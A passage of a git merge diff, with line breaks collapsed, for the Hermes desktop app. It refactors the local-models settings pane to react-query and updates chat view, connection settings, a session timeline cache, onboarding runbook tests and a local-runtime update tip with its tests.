process.env.PYTHONPATH]- .filter((entry): entry is string => Boolean(entry))- .join(path.delimiter)- }- }))++ !(await canImportHermesCli(python, { cwd: directoryExists(root) ? root : undefined }))+ ) {rememberLog?.(`Ignoring venv Hermes at ${python}: runtime import probe failed (broken/partial venv); falling through to bootstrap.`)diff --cc apps/desktop/scripts/stage-native-deps.mjsindex 121a13e5840,83f1bc1084a..3da2f66bfdd--- a/apps/desktop/scripts/stage-native-deps.mjs+++ b/apps/desktop/scripts/stage-native-deps.mjs@@@ -241,10 -301,10 +305,10 @@@ function validateStagedBinaries(destRoo* modules; build on the target platform or provide a prebuild).* 4. Validate every staged `.node` file's binary platform matches the target.*/-export function stageNodePtyInto(srcRoot, destRoot, { platform = process.platform, arch = process.arch } = {}) {+export function stageNodePtyInto(srcRoot, destRoot, { platform = process.platform, arch = process.arch, appRoot = projectRoot } = {}) {const hostMatch = platform === process.platform && arch === process.arch- rmSync(destRoot, { recursive: true, force: true })+ removeDirSync(destRoot)mkdirSync(destRoot, { recursive: true })// package.json — needed so `require('node-pty')` resolves the packagediff --cc apps/desktop/src/app/chat/index.tsxindex 5c6317cee34,d65bc27c861..41ec93a6720--- a/apps/desktop/src/app/chat/index.tsx+++ b/apps/desktop/src/app/chat/index.tsx@@@ -683,10 -721,9 +724,10 @@@ const ChatViewContent = memo(function CclassName)}data-chat-surface=""- data-chat-unfocused={surfaceFocused ? undefined : ''}+ data-chat-unfocused={surfaceFocused || surfaceHovered ? undefined : ''}data-composer-surface-id={composerSurfaceId}data-composer-target={composerScope.target}+ data-guide-arrived={isPrimary && guideStarted ? '' : undefined}data-session-anchor={sessionAnchor}><Backdrop />@@@ -720,21 -757,20 +761,22 @@@data-slot="composer-bounds"{...dropHandlers}>- <Thread- clampToComposer={showChatBar}- cwd={currentCwd}- gateway={gateway}- intro={showIntro ? { personality: introPersonality, seed: introSeed } : undefined}- loading={threadLoading}- onBranchInNewChat={onBranchInNewChat}- onCancel={haltRun}- onDismissError={onDismissError}- onRestoreToMessage={onRestoreToMessage}- scrollProfile={modelOptionsProfile || activeGatewayProfile}- sessionId={activeSessionId}- sessionKey={threadKey}- />+ {!guideOpening && (+ <Thread+ clampToComposer={showChatBar}+ cwd={currentCwd}+ gateway={gateway}+ intro={showIntro ? { personality: introPersonality, seed: introSeed } : undefined}+ loading={threadLoading}+ onBranchInNewChat={onBranchInNewChat}+ onCancel={haltRun}+ onDismissError={onDismissError}+ onRestoreToMessage={onRestoreToMessage}++ scrollProfile={modelOptionsProfile || activeGatewayProfile}+ sessionId={activeSessionId}+ sessionKey={threadKey}+ />+ )}{resumeExhausted && routedSessionId && (<div className="absolute inset-0 z-10 grid place-items-center bg-(--ui-chat-surface-background) px-8 py-10"><ErrorStatediff --cc apps/desktop/src/app/settings/connections-registry.tsxindex af2bf5a1900,b6a32ff8fd2..50ef119495e--- a/apps/desktop/src/app/settings/connections-registry.tsx+++ b/apps/desktop/src/app/settings/connections-registry.tsx@@@ -38,8 -52,12 +38,9 @@@ interface EditorStateid: null | stringkind: DesktopConnectionKindlabel: string- url: string- authMode: 'oauth' | 'token'- token: stringhost: stringkeyPath: string+ remoteHermesPath: string// ssh remote profile, hydrated on edit so the duplicate key matches the// main-process one (user@host:port + profile); the editor doesn't expose it.remoteProfile: string@@@ -73,8 -95,12 +75,9 @@@ function emptyEditor(kind: DesktopConneid: null,kind,label: '',- url: '',- authMode: 'token',- token: '',host: '',keyPath: '',+ remoteHermesPath: '',remoteProfile: '',headers: []}diff --cc apps/desktop/src/app/settings/local-models-settings.test.tsxindex 1f35d88a07a,237d4b7b77d..a8fe29c86a4--- a/apps/desktop/src/app/settings/local-models-settings.test.tsx+++ b/apps/desktop/src/app/settings/local-models-settings.test.tsx@@@ -116,15 -101,13 +116,25 @@@ const REFUSED_MODEL: LocalCatalogModelstart_window_label: undefined}++function setInstallStarting(starting: boolean): void {++ queryClient.getMutationCache().clear()++ if (starting) {++ queryClient.getMutationCache().build(queryClient, {++ mutationKey: localModelsKey(localModelsOwner(), 'install'),++ mutationFn: (): Promise<void> => new Promise<void>((): void => {})++ }).execute(undefined)++ }++}++function renderPane() {return render(- <MemoryRouter>- <I18nProvider>- <LocalModelsSettings />- </I18nProvider>- </MemoryRouter>+ <QueryClientProvider client={queryClient}>+ <MemoryRouter>+ <I18nProvider>+ <LocalModelsSettings />+ </I18nProvider>+ </MemoryRouter>+ </QueryClientProvider>)}@@@ -159,25 -127,113 +169,122 @@@ beforeEach((): void =>mocked.getLocalModelsStatus.mockResolvedValue(BASE_STATUS)mocked.getLocalHardware.mockResolvedValue(BASE_HARDWARE)mocked.getLocalCatalog.mockResolvedValue({ models: [FITTING_MODEL, SPILLED_MODEL, REFUSED_MODEL] })- mocked.getLocalModelsJobs.mockResolvedValue({ jobs: [] })- $localRuntimeJobs.set([])+ // The backend mock ECHOES the atom: the watcher's immediate poll reads+ // seeded jobs instead of wiping them with a default {jobs:[]}.+ mocked.getLocalModelsJobs.mockImplementation(async () => ({+ jobs: [...(queryClient.getQueryData<readonly LocalRuntimeJob[]>(localModelsKey(localModelsOwner(), 'jobs')) ?? [])]+ }))+ queryClient.setQueryData(localModelsKey(localModelsOwner(), 'jobs'), [])})-afterEach(() => {+afterEach(async () => {cleanup()+ queryClient.clear()+ mocked.getLocalModelsJobs.mockResolvedValue({ jobs: [] })+ await act(async () => {+ watchLocalRuntimeJobs()+ })vi.clearAllMocks()+ // A running job arms the store's 700ms re-poll; drain it so the timer cannot+ // fire into a torn-down test environment.- $localRuntimeJobs.set([])++ queryClient.setQueryData(localModelsKey(localModelsOwner(), 'jobs'), [])})describe('LocalModelsSettings', () => {+ it.each(['starting', 'running'])(+ 'keeps the runtime update view visible with no staged models while %s',+ async phase => {+ mocked.getLocalModelsStatus.mockResolvedValue({ ...BASE_STATUS, runtime_installed: true, update_available: true })++ const jobs: LocalRuntimeJob[] =+ phase === 'running'+ ? [+ {+ job_id: 'engine-update',+ kind: 'runtime-install',+ target: 'target',+ model_id: null,+ status: 'running',+ phase: 'downloading',+ detail: 'Downloading engine archive',+ total_bytes: 100,+ done_bytes: 40,+ percent: 40,+ error: null+ }+ ]+ : []++ mocked.getLocalModelsJobs.mockResolvedValue({ jobs })- $localRuntimeJobs.set(jobs)- $localRuntimeInstallStarting.set(phase === 'starting')++ queryClient.setQueryData(localModelsKey(localModelsOwner(), 'jobs'), jobs)++ setInstallStarting(phase === 'starting')+ renderPane()+ await screen.findByText('Qwen3.6 27B')+ const setup = screen.queryByRole('button', { name: /set up for me/i })++ const detail =+ phase === 'running'+ ? screen.queryByText('Downloading engine archive')+ : screen.queryByRole('button', { name: /update engine/i })+- act(() => $localRuntimeInstallStarting.set(false))++ act(() => setInstallStarting(false))+ expect(setup).toBeNull()+ expect(detail).toBeTruthy()+ }+ )+ it('keeps a failed explicit update visible with a direct retry and no staged models', async () => {+ mocked.getLocalModelsStatus.mockResolvedValue({ ...BASE_STATUS, runtime_installed: true, update_available: true })- $localRuntimeInstallStarting.set(true)++ setInstallStarting(true)+ const view = renderPane()+ await screen.findByRole('button', { name: /update engine/i })++ const failed: LocalRuntimeJob = {+ job_id: 'failed-update',+ total_bytes: null,+ done_bytes: 0,+ kind: 'runtime-install',+ target: 'target',+ model_id: null,+ status: 'error',+ phase: 'download',+ detail: '',+ error: 'Engine archive unavailable'+ }++ mocked.getLocalModelsJobs.mockResolvedValue({ jobs: [failed] })+ act(() => {- $localRuntimeJobs.set([failed])- $localRuntimeInstallStarting.set(false)++ queryClient.setQueryData(localModelsKey(localModelsOwner(), 'jobs'), [failed])++ setInstallStarting(false)+ })+ expect(screen.queryByRole('button', { name: /set up for me/i })).toBeNull()- expect(screen.getByText('Engine archive unavailable')).toBeTruthy()++ expect(await screen.findByText('Engine archive unavailable')).toBeTruthy()+ view.unmount()+ renderPane()+ const retry = await screen.findByRole('button', { name: /update engine/i })+ expect((retry as HTMLButtonElement).disabled).toBe(false)+ mocked.installLocalRuntime.mockResolvedValue({ backend: 'cpu', job_id: 'retry', tag: 'next' })+ fireEvent.click(retry)+ await waitFor(() => expect(mocked.installLocalRuntime).toHaveBeenCalledTimes(1))+ })+ it('starts runtime installation only once while the request is pending', async () => {+ let finish!: (value: { backend: string; job_id: string; tag: string }) => void+ mocked.installLocalRuntime.mockImplementation(+ () =>+ new Promise(resolve => {+ finish = resolve+ })+ )+ await renderFullPane()+ const button = screen.getByRole('button', { name: /install runtime/i })+ fireEvent.click(button)+ fireEvent.click(button)- expect(mocked.installLocalRuntime).toHaveBeenCalledTimes(1)++ await waitFor((): void => expect(mocked.installLocalRuntime).toHaveBeenCalledTimes(1))+ expect((button as HTMLButtonElement).disabled).toBe(true)+ await act(async () => {+ finish({ backend: 'cpu', job_id: 'install', tag: 'next' })+ })+ })+it('offers the runtime install with a plain-language explanation', async () => {await renderFullPane()diff --cc apps/desktop/src/app/settings/local-models-settings.tsxindex 1c62d525c10,e271c55f5dd..75034f2d98a--- a/apps/desktop/src/app/settings/local-models-settings.tsx+++ b/apps/desktop/src/app/settings/local-models-settings.tsx@@@ -1,5 -1,5 +1,5 @@@- import { type QueryClient, useQuery, useQueryClient } from '@tanstack/react-query'-import { useStore } from '@nanostores/react'-import { useCallback, useEffect, useRef, useState } from 'react'++import { type QueryClient, useQuery, useQueryClient, useIsMutating } from '@tanstack/react-query'+import { type ReactElement, useCallback, useEffect, useRef, useState } from 'react'import { useNavigate } from 'react-router'import { NEW_CHAT_ROUTE } from '@/app/routes'@@@ -11,9 -11,11 +11,8 @@@ importdownloadBrowsedModel,downloadLocalModel,ejectLocalModel,- getLocalCatalog,- getLocalHardware,- getLocalModelsStatus,type HFFileGroup,type HFSearchHit,- installLocalRuntime,listHFRepoFiles,quickstartLocalModels,searchHFModels,@@@ -39,19 -40,11 +38,20 @@@ import} from '@/lib/icons'import { cn } from '@/lib/utils'import {- $localRuntimeInstallStarting,- $localRuntimeJobs,+ isCurrentLocalModelsOwner,+ localModelsCatalogOptions,+ localModelsHardwareOptions,+ localModelsKey,+ localModelsNotificationTitle,+ type LocalModelsOwner,+ localModelsRequestScope,+ refreshLocalModels,runningDownloadFor,runningRuntimeInstall,+ useLocalModelsOwner,+ useLocalModelsStatus,+ useLocalRuntimeJobs,+ startLocalRuntimeInstall,watchLocalRuntimeJobs} from '@/store/local-runtime-jobs'import { notify, notifyError } from '@/store/notifications'@@@ -81,57 -86,91 +81,51 @@@ function fitRank(model: LocalCatalogModreturn 2}-export function LocalModelsSettings() {+// Still on its way (or parked mid-way): rows/hero stay visible while+// paused — a paused download vanishing reads as progress loss.+function isActiveStatus(status: LocalRuntimeJob['status']): boolean {+ return status === 'paused' || status === 'running'+}++export function LocalModelsSettings(): ReactElement {+ const owner: LocalModelsOwner = useLocalModelsOwner()++ return <ScopedLocalModelsSettings key={JSON.stringify(localModelsKey(owner))} owner={owner} />+}++function ScopedLocalModelsSettings({ owner }: { owner: LocalModelsOwner }): ReactElement {const { t } = useI18n()const copy = t.settings.localModels- const installStarting = useStore($localRuntimeInstallStarting)- const [status, setStatus] = useState<LocalModelsStatus | null>(null)- const [hardware, setHardware] = useState<LocalHardware | null>(null)- const [catalog, setCatalog] = useState<LocalCatalogModel[] | null>(null)+ const client: QueryClient = useQueryClient()++ const installStarting: boolean = useIsMutating({ mutationKey: localModelsKey(owner, 'install') }) > 0+ const { data: status } = useLocalModelsStatus(owner)+ const { data: hardware } = useQuery(localModelsHardwareOptions(owner))+ const { data: catalog } = useQuery(localModelsCatalogOptions(owner))const [deleting, setDeleting] = useState<null | string>(null)- const [serverBusy, setServerBusy] = useState(false)+ const [serverBusy, setServerBusy] = useState<boolean>(false)// Quickstart escape hatch: true once the user asks for the full pane// (model list, HF browser) instead of the one-button setup card.- const [configure, setConfigure] = useState(() => $localRuntimeInstallStarting.get())- // Jobs live in the app-level store (they must survive this pane- // unmounting); the pane just renders the slice it cares about.- const jobs = useStore($localRuntimeJobs)-- const refresh = useCallback(() => {- void getLocalModelsStatus()- .then(setStatus)- .catch(() => setStatus(null))- void getLocalCatalog()- .then(data => setCatalog(data.models))- .catch(() => setCatalog([]))- }, [])-- // Snappy first paint: status + catalog immediately; hardware (may shell out- // to nvidia-smi) backfills and pops in-place. The job watcher also kicks- // here so reopening the pane rediscovers work started before.- useEffect(() => {- refresh()- watchLocalRuntimeJobs()- void getLocalHardware()- .then(setHardware)- .catch(() => setHardware(null))- }, [refresh])-- // The pane is LIVE while visible: residency changes without user action- // (boot warm finishing, idle sweep unloading, another surface ejecting),- // and a stale snapshot here reads as a broken feature — 'VRAM full but- // the pane says Not in memory'. The status route is built cheap for- // polling; setTimeout chain, never overlapping.- useEffect(() => {- let cancelled = false- let timer: number | undefined+ const [configure, setConfigure] = useState<boolean>(false)- const tick = async () => {- try {- const next = await getLocalModelsStatus()-- if (!cancelled) {- setStatus(next)- }- } catch {- // Backend briefly unreachable — keep the last snapshot.- }-- if (!cancelled) {- timer = window.setTimeout(() => void tick(), 4_000)- }- }-- timer = window.setTimeout(() => void tick(), 4_000)-- return () => {- cancelled = true+ const jobs: readonly LocalRuntimeJob[] = useLocalRuntimeJobs(+ owner,+ (value: readonly LocalRuntimeJob[]): readonly LocalRuntimeJob[] => value+ )- if (timer !== undefined) {- window.clearTimeout(timer)- }- }- }, [])+ const refresh = useCallback((): void => refreshLocalModels(owner, client), [owner, client])- // A job finishing (download done, install done) changes what status/catalog- // should show — refresh whenever the running set shrinks.- const runningCount = jobs.filter(j => j.status === 'running').length- useEffect(() => {- refresh()- }, [refresh, runningCount])+ async function handleInstallRuntime(): Promise<void> {- try {- await installLocalRuntime(undefined, localModelsRequestScope(owner))- watchLocalRuntimeJobs(owner, client)- } catch (err) {- if (isCurrentLocalModelsOwner(owner)) {- notifyError(err, copy.installFailed)- }- }++ await startLocalRuntimeInstall(owner, client)+ }- async function handleQuickstart() {+ async function handleQuickstart(): Promise<void> {try {- await quickstartLocalModels()- watchLocalRuntimeJobs()+ await quickstartLocalModels(undefined, localModelsRequestScope(owner))+ watchLocalRuntimeJobs(owner, client)} catch (err) {- notifyError(err, copy.quickstartFailed)+ if (isCurrentLocalModelsOwner(owner)) {+ notifyError(err, copy.quickstartFailed)+ }}}@@@ -278,14 -302,9 +272,16 @@@const heroModel = catalog.find(c => c.recommended && c.fits) ?? nullconst hasRecommendation = catalog.some(c => c.recommended)- const failedInstall = jobs.some(job => job.kind === 'runtime-install' && job.status === 'error')+ // An active runtime install/update or model download needs the FULL pane+ // (its row lives there with its controls) — the setup hero must not hide+ // it on a remount.+ const otherActiveJob = jobs.some(+ j => (j.kind === 'runtime-install' || j.kind === 'model-download') && isActiveStatus(j.status)+ )+- if ((qJob || (needsSetup && !configure && heroModel)) && !otherActiveJob) {++ const failedInstall: boolean = jobs.some((job: LocalRuntimeJob): boolean => job.kind === 'runtime-install' && job.status === 'error')+- if (qJob || (needsSetup && !configure && heroModel && !installStarting && !rJob && !failedInstall)) {++ if ((qJob || (needsSetup && !configure && heroModel)) && !otherActiveJob && !installStarting && !failedInstall) {// Stage rail derived from the job phase: engine -> model -> finish.const phase = qJob?.phase ?? ''diff --cc apps/desktop/src/app/updates-overlay.tsxindex e465d1c6a3f,4fc09791439..b8a66fb0c65--- a/apps/desktop/src/app/updates-overlay.tsx+++ b/apps/desktop/src/app/updates-overlay.tsx@@@ -15,18 -14,10 +15,19 @@@ importimport { ErrorIcon, ErrorState } from '@/components/ui/error-state'import { Loader } from '@/components/ui/loader'import { Progress } from '@/components/ui/progress'-import type { DesktopUpdateBlocker, DesktopUpdateCommit, DesktopUpdateStage, DesktopUpdateStatus } from '@/global'+import { UpdateStatusCard, VersionHero } from '@/components/update-status'+import { VersionDetails } from '@/components/version-details'+import type {++ DesktopUpdateCommit,+ DesktopUpdateStage,+ DesktopUpdateStatus,+ DesktopVersionInfo,+ UpdaterMechanismClient+} from '@/global'import { useI18n } from '@/i18n'import { buildCommitChangelog, type CommitGroup } from '@/lib/commit-changelog'+ import { openExternalLink } from '@/lib/external-link'import { AlertCircle, Check, Copy, Terminal } from '@/lib/icons'import { resolveUpdateCopy, type UpdateTarget } from '@/lib/update-copy'import { cn } from '@/lib/utils'diff --cc apps/desktop/src/components/assistant-ui/thread/timeline-index.tsindex 00000000000,ef20323905c..6dacf8f48c9mode 000000,100644..100644--- a/apps/desktop/src/components/assistant-ui/thread/timeline-index.ts+++ b/apps/desktop/src/components/assistant-ui/thread/timeline-index.ts@@@ -1,0 -1,89 +1,88 @@@+ import { capabilityScoped, hermesApi, type ProfileScope } from '@/api/client'++ import type { TimelineEntry } from './timeline-data'++ interface TimelinePage {+ entries: Array<{ row_id: number; preview: string; timestamp?: number }>+ pagination: { next_cursor: number | null; has_more: boolean }+ }++ export interface TimelineIndex {+ entries: TimelineEntry[]+ complete: boolean+ cursor?: number+ expires: number+ }++ const cache = new Map<string, TimelineIndex>()+ const requests = new Map<string, Promise<TimelineIndex>>()+ const MAX_CACHED_SESSIONS = 12+ const TTL = 60_000++ export const timelineIndexKey = (id: string, scope: ProfileScope) => JSON.stringify([id, scope])+ export const cachedTimelineIndex = (key: string) => cache.get(key)++ /** One bounded metadata page per request; never fetch tool or assistant bodies. */+ export function fetchTimelineIndex(id: string, scope: ProfileScope): Promise<TimelineIndex> {+ const key = timelineIndexKey(id, scope)+ const cached = cache.get(key)+ const previous = cached?.complete && cached.expires <= Date.now() ? undefined : cached++ if (cached?.complete && cached.expires > Date.now()) {+ return Promise.resolve(cached)+ }++ const inflight = requests.get(key)++ if (inflight) {+ return inflight+ }++ const route = {+ ...capabilityScoped(scope),+ ...(typeof scope === 'object' && scope?.connectionId === 'local' ? { connectionId: 'local' } : {})+ }++ const query = new URLSearchParams({ limit: '500' })++ if (route.profile) {+ query.set('profile', route.profile)+ }++ if (previous?.cursor !== undefined) {+ query.set('after_row_id', String(previous.cursor))+ }++ const request = hermesApi<TimelinePage>({+ ...route,- path: `/api/sessions/${encodeURIComponent(id)}/timeline?${query}`,- passive: true++ path: `/api/sessions/${encodeURIComponent(id)}/timeline?${query}`+ })+ .then(page => {+ const merged = new Map(previous?.entries.map(entry => [entry.rowId, entry]))++ for (const entry of page.entries) {+ merged.set(entry.row_id, { id: `history:${entry.row_id}`, rowId: entry.row_id, preview: entry.preview })+ }++ const value = {+ entries: [...merged.values()],+ complete: !page.pagination.has_more,+ cursor: page.pagination.next_cursor ?? previous?.cursor,+ expires: Date.now() + TTL+ }++ cache.delete(key)+ cache.set(key, value)++ while (cache.size > MAX_CACHED_SESSIONS) {+ cache.delete(cache.keys().next().value!)+ }++ return value+ })+ .finally(() => requests.delete(key))++ requests.set(key, request)++ return request+ }diff --cc apps/desktop/src/components/onboarding-chat/onboarding-recommendations-runbook.test.tsindex 00000000000,5482407bce0..507adde31f8mode 000000,100644..100644--- a/apps/desktop/src/components/onboarding-chat/onboarding-recommendations-runbook.test.ts+++ b/apps/desktop/src/components/onboarding-chat/onboarding-recommendations-runbook.test.ts@@@ -1,0 -1,47 +1,47 @@@+ import { afterEach, expect, it } from 'vitest'++ import { buildFirstTaskRunbook } from '@/components/onboarding-chat/setup-profile'+ import { $machine } from '@/store/machine'+ import { DEFAULT_ANSWERS } from '@/store/onboarding-answers'+ import { buildChatOnboardingPrompt, forkOptions, machineForkOption } from '@/store/onboarding-script'++ afterEach(() => $machine.set(null))++ it('hands an account task to the connection flow without substituting a no-auth build', () => {+ for (const connectors of [[], ['gmail', 'notion']]) {+ const runbook = buildFirstTaskRunbook('Check my email', { ...DEFAULT_ANSWERS, connectors })++ expect(runbook).toContain('Check my email')+ expect(runbook).toContain('manage_connections action="status"')+ expect(runbook).toContain('only the apps needed for this task')+ expect(runbook).not.toMatch(/must be finishable with NO external|build the no-auth core|connectors set to every one/)+ expect(runbook).toContain('never fabricate account data')+ }+ })++ it('offers connector-based work without displacing the existing fresh-machine and Spark fork', () => {+ const prompt = buildChatOnboardingPrompt()+ expect(prompt).toContain('Use my email to find messages that need a reply')+ expect(prompt).toContain('at most one option per app')+ expect(prompt).not.toContain('the first task must be FINISHABLE with no external account')++ for (const profile of [+ { platform: 'darwin', arch: 'arm64', nvidia: false, model: 'Mac', ageDays: 1 },+ { platform: 'win32', arch: 'arm64', nvidia: true, model: '', ageDays: null },+ { platform: 'linux', arch: 'arm64', nvidia: true, model: 'NVIDIA_DGX_Spark', ageDays: null }- ]) {++ ] as const) {+ $machine.set({ ...profile, release: '', username: '', locale: 'en-US' })+ expect(forkOptions()).toEqual([machineForkOption(), 'Something else'])++ if (profile.ageDays === null) {+ expect(buildChatOnboardingPrompt()).not.toMatch(/\bNEW Spark\b/)+ }++ const machineRunbook = buildFirstTaskRunbook('Set up this computer', {+ ...DEFAULT_ANSWERS, connectors: ['gmail']+ }, 'machine-setup')++ expect(machineRunbook).toContain('START BY LOOKING, NOT PLANNING')+ expect(machineRunbook).not.toContain('CONNECT FOR THIS TASK')+ }+ })diff --cc apps/desktop/src/components/tips/local-runtime-update-offer.test.tsxindex 00000000000,4f1e42f9a36..702c4ca4ecamode 000000,100644..100644--- a/apps/desktop/src/components/tips/local-runtime-update-offer.test.tsx+++ b/apps/desktop/src/components/tips/local-runtime-update-offer.test.tsx@@@ -1,0 -1,284 +1,286 @@@+ import { useStore } from '@nanostores/react'+ import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'+ import { MemoryRouter, useLocation, useNavigate } from 'react-router'+ import { afterEach, beforeEach, expect, it, vi } from 'vitest'++ import { SETTINGS_ROUTE } from '@/app/routes'+ import { I18nProvider } from '@/i18n'+ import { en } from '@/i18n/en'+ import { $activeGatewayRoute } from '@/store/gateway'+ import { $localModelsEnabled } from '@/store/local-models-flag'-import { $localRuntimeJobs } from '@/store/local-runtime-jobs'++import { localModelsKey, localModelsOwner } from '@/store/local-runtime-jobs'++import { queryClient } from '@/lib/query-client'+ import { $connection } from '@/store/session'+ import { $activeTip, $nextTipAt, $retiredTips, $tipsEnabled, $tipShownAt, retireActiveTip } from '@/store/tips'++ import { offerLocalRuntimeUpdateTip } from './local-runtime-update-offer'+ import { TipBubble } from './tip-bubble'++ const api = vi.hoisted(() => vi.fn())++ const eligible = { enabled: true, runtime_installed: true, update_available: true, configured_tag: 'next-build' }+ const anchor = document.createElement('button')+ let offer: () => boolean++ function Harness() {+ const tip = useStore($activeTip)+ const navigate = useNavigate()+ const location = useLocation()+ offer = () => offerLocalRuntimeUpdateTip(en.tips, () => navigate(`${SETTINGS_ROUTE}?tab=providers&pview=local`))++ return (+ <>+ <output>+ {location.pathname}+ {location.search}+ </output>+ {tip && <TipBubble {...tip} anchor={anchor} onClose={retireActiveTip} />}+ </>+ )+ }++ async function due() {+ await act(async () => {+ offer()+ })+ await act(async () => {+ offer()+ })+ }++ beforeEach(async () => {+ vi.stubGlobal(+ 'ResizeObserver',+ class {+ observe() {}+ unobserve() {}+ disconnect() {}+ }+ )+ vi.clearAllMocks()+ $localModelsEnabled.set(true)+ $connection.set({ mode: 'local' } as never)- $localRuntimeJobs.set([])++ queryClient.setQueryData(localModelsKey(localModelsOwner(), 'jobs'), [])+ $activeTip.set(null)+ $retiredTips.set([])+ $tipShownAt.set({})+ $nextTipAt.set(null)+ $tipsEnabled.set(true)+ window.hermesDesktop = { api } as never+ api.mockImplementation(async request => {+ if (request.path.endsWith('/status')) {+ return eligible+ }++ if (request.path.endsWith('/jobs')) {+ return { jobs: [] }+ }++ return { job_id: 'install', backend: 'cpu', tag: 'next-build' }+ })+ await act(async () => {+ render(+ <MemoryRouter>+ <I18nProvider>+ <Harness />+ </I18nProvider>+ </MemoryRouter>+ )+ })+ })+ afterEach(() => {+ cleanup()++ queryClient.clear()+ vi.restoreAllMocks()+ })+ it('discards a completed read that waited too long for a quiet tick', async () => {+ await act(async () => {+ offer()+ })+ const now = Date.now()+ const clock = vi.spyOn(Date, 'now').mockReturnValue(now + 120_000)+ api.mockImplementation(async request =>+ request.path.endsWith('/jobs') ? { jobs: [] } : { ...eligible, update_available: false }+ )+ await act(async () => {+ offer()+ })+ expect($activeTip.get()).toBeNull()+ await act(async () => {+ offer()+ })+ expect($activeTip.get()).toBeNull()+ clock.mockRestore()+ })+ it('lets rotation proceed after a failed eligibility read and retries at a later due moment', async () => {+ api.mockRejectedValue(new Error('offline'))+ await act(async () => {+ offer()+ })+ let held = true+ await act(async () => {+ held = offer()+ })+ expect(held).toBe(false)+ expect($activeTip.get()).toBeNull()+ api.mockImplementation(async request => (request.path.endsWith('/jobs') ? { jobs: [] } : eligible))+ vi.spyOn(Date, 'now').mockReturnValue(Date.now() + 6_000)+ await due()+ expect($activeTip.get()?.action?.label).toBe('Update now')+ })+ it('rechecks backend jobs at the due moment instead of trusting an idle store', async () => {+ api.mockImplementation(async request =>+ request.path.endsWith('/jobs') ? { jobs: [{ kind: 'quickstart', status: 'running' }] } : eligible+ )+ await due()+ expect($activeTip.get()).toBeNull()+ })+ it('does not repeat a timed-out bubble for a week, then reads completion live', async () => {+ await due()+ await act(async () => {+ $activeTip.set(null)+ })+ await due()+ expect($activeTip.get()).toBeNull()+ vi.spyOn(Date, 'now').mockReturnValue(Date.now() + 8 * 24 * 60 * 60_000)+ api.mockImplementation(async request =>+ request.path.endsWith('/jobs') ? { jobs: [] } : { ...eligible, update_available: false }+ )+ await due()+ expect($activeTip.get()).toBeNull()+ expect(api.mock.calls.filter(([request]) => request.path.endsWith('/status')).length).toBeGreaterThan(1)+ })+ it.each(['connection', 'profile', 'tips-off', 'job-started'])(+ 'invalidates a visible action when %s changes',+ async context => {+ await due()+ const action = $activeTip.get()!.action!+ await act(async () => {+ if (context === 'connection') {+ $connection.set({ mode: 'remote' } as never)+ }++ if (context === 'profile') {+ $activeGatewayRoute.set('other')+ }++ if (context === 'tips-off') {+ $tipsEnabled.set(false)+ }++ if (context === 'job-started') {- $localRuntimeJobs.set([{ kind: 'quickstart', status: 'running' }] as never)++ queryClient.setQueryData(localModelsKey(localModelsOwner(), 'jobs'), [{ kind: 'quickstart', status: 'running' }] as never)+ }++ action.onSelect()+ })+ expect(api.mock.calls.some(([request]) => request.method === 'POST')).toBe(false)+ expect(screen.getByRole('status').textContent).toBe('/')+ $activeGatewayRoute.set('default')+ }+ )+ it.each(['connection', 'profile'])('rejects a stale response after a %s round trip', async context => {+ let resolve!: (value: unknown) => void+ api.mockImplementation(request =>+ request.path.endsWith('/status')+ ? new Promise(done => {+ resolve = done+ })+ : Promise.resolve({ jobs: [] })+ )+ await act(async () => {+ offer()+ })++ if (context === 'connection') {+ const original = $connection.get()+ $connection.set({ mode: 'remote' } as never)+ $connection.set(original)+ } else {+ $activeGatewayRoute.set('other')+ $activeGatewayRoute.set('default')+ }++ await act(async () => {+ resolve(eligible)+ })+ await act(async () => {+ offer()+ })+ expect($activeTip.get()).toBeNull()+ await act(async () => {+ resolve({ ...eligible, update_available: false })+ })+ await act(async () => {+ offer()+ })+ })+ it.each(['remote', 'flag-off', 'tips-off', 'runtime-install', 'quickstart'])(+ 'declines before reading when %s',+ async guard => {+ if (guard === 'remote') {+ $connection.set({ mode: 'remote' } as never)+ }++ if (guard === 'flag-off') {+ $localModelsEnabled.set(false)+ }++ if (guard === 'tips-off') {+ $tipsEnabled.set(false)+ }++ if (guard === 'runtime-install' || guard === 'quickstart') {- $localRuntimeJobs.set([{ kind: guard, status: 'running' }] as never)++ queryClient.setQueryData(localModelsKey(localModelsOwner(), 'jobs'), [{ kind: guard, status: 'running' }] as never)+ }++ api.mockClear()+ await due()+ expect($activeTip.get()).toBeNull()+ expect(api).not.toHaveBeenCalled()+ }+ )+ it('dismisses per target build without installing and persists the retirement', async () => {+ await due()+ await act(async () => {+ fireEvent.click(screen.getByRole('button', { name: en.tips.close }))+ })+ expect(JSON.parse(localStorage.getItem('hermes.desktop.tips.retired.v1')!)).toContain(+ 'local-runtime-update:next-build'+ )+ await due()+ expect($activeTip.get()).toBeNull()+ api.mockImplementation(async request =>+ request.path.endsWith('/jobs') ? { jobs: [] } : { ...eligible, configured_tag: 'later-build' }+ )+ vi.spyOn(Date, 'now').mockReturnValue(Date.now() + 61_000)+ await due()+ expect($activeTip.get()?.tipId).toBe('local-runtime-update:later-build')+ expect(api.mock.calls.some(([request]) => request.method === 'POST')).toBe(false)+ })+ it.each([{ enabled: false }, { runtime_installed: false }, { update_available: false }])(+ 'does not offer when backend eligibility is missing: %j',+ async overrides => {+ api.mockImplementation(async request =>+ request.path.endsWith('/jobs') ? { jobs: [] } : { ...eligible, ...overrides }+ )+ await due()+ expect($activeTip.get()).toBeNull()+ expect(api.mock.calls.some(([request]) => request.method === 'POST')).toBe(false)+ }+ )+ it('the real Update now button navigates and sends exactly one install POST, never on show', async () => {+ await due()+ expect(api.mock.calls.filter(([request]) => request.method === 'POST')).toHaveLength(0)+ expect(screen.getByText(/active local requests may be interrupted/i)).toBeTruthy()+ const button = screen.getByRole('button', { name: 'Update now' })+ await act(async () => {+ fireEvent.click(button)+ fireEvent.click(button)+ })+ expect(screen.getByRole('status').textContent).toBe(`${SETTINGS_ROUTE}?tab=providers&pview=local`)+ expect(api.mock.calls.filter(([request]) => request.method === 'POST').map(([request]) => request)).toEqual([- { body: { backend: null }, method: 'POST', path: '/api/local-models/runtime/install' }++ { body: { backend: null }, method: 'POST', path: '/api/local-models/runtime/install', connectionId: null, profile: 'default' }+ ])+ expect($activeTip.get()).toBeNull()+ })diff --cc apps/desktop/src/components/tips/local-runtime-update-offer.tsindex 00000000000,63cd19b109b..9d06fc348b6mode 000000,100644..100644--- a/apps/desktop/src/components/tips/local-runtime-update-offer.ts+++ b/apps/desktop/src/components/tips/local-runtime-update-offer.ts@@@ -1,0 -1,141 +1,137 @@@+ 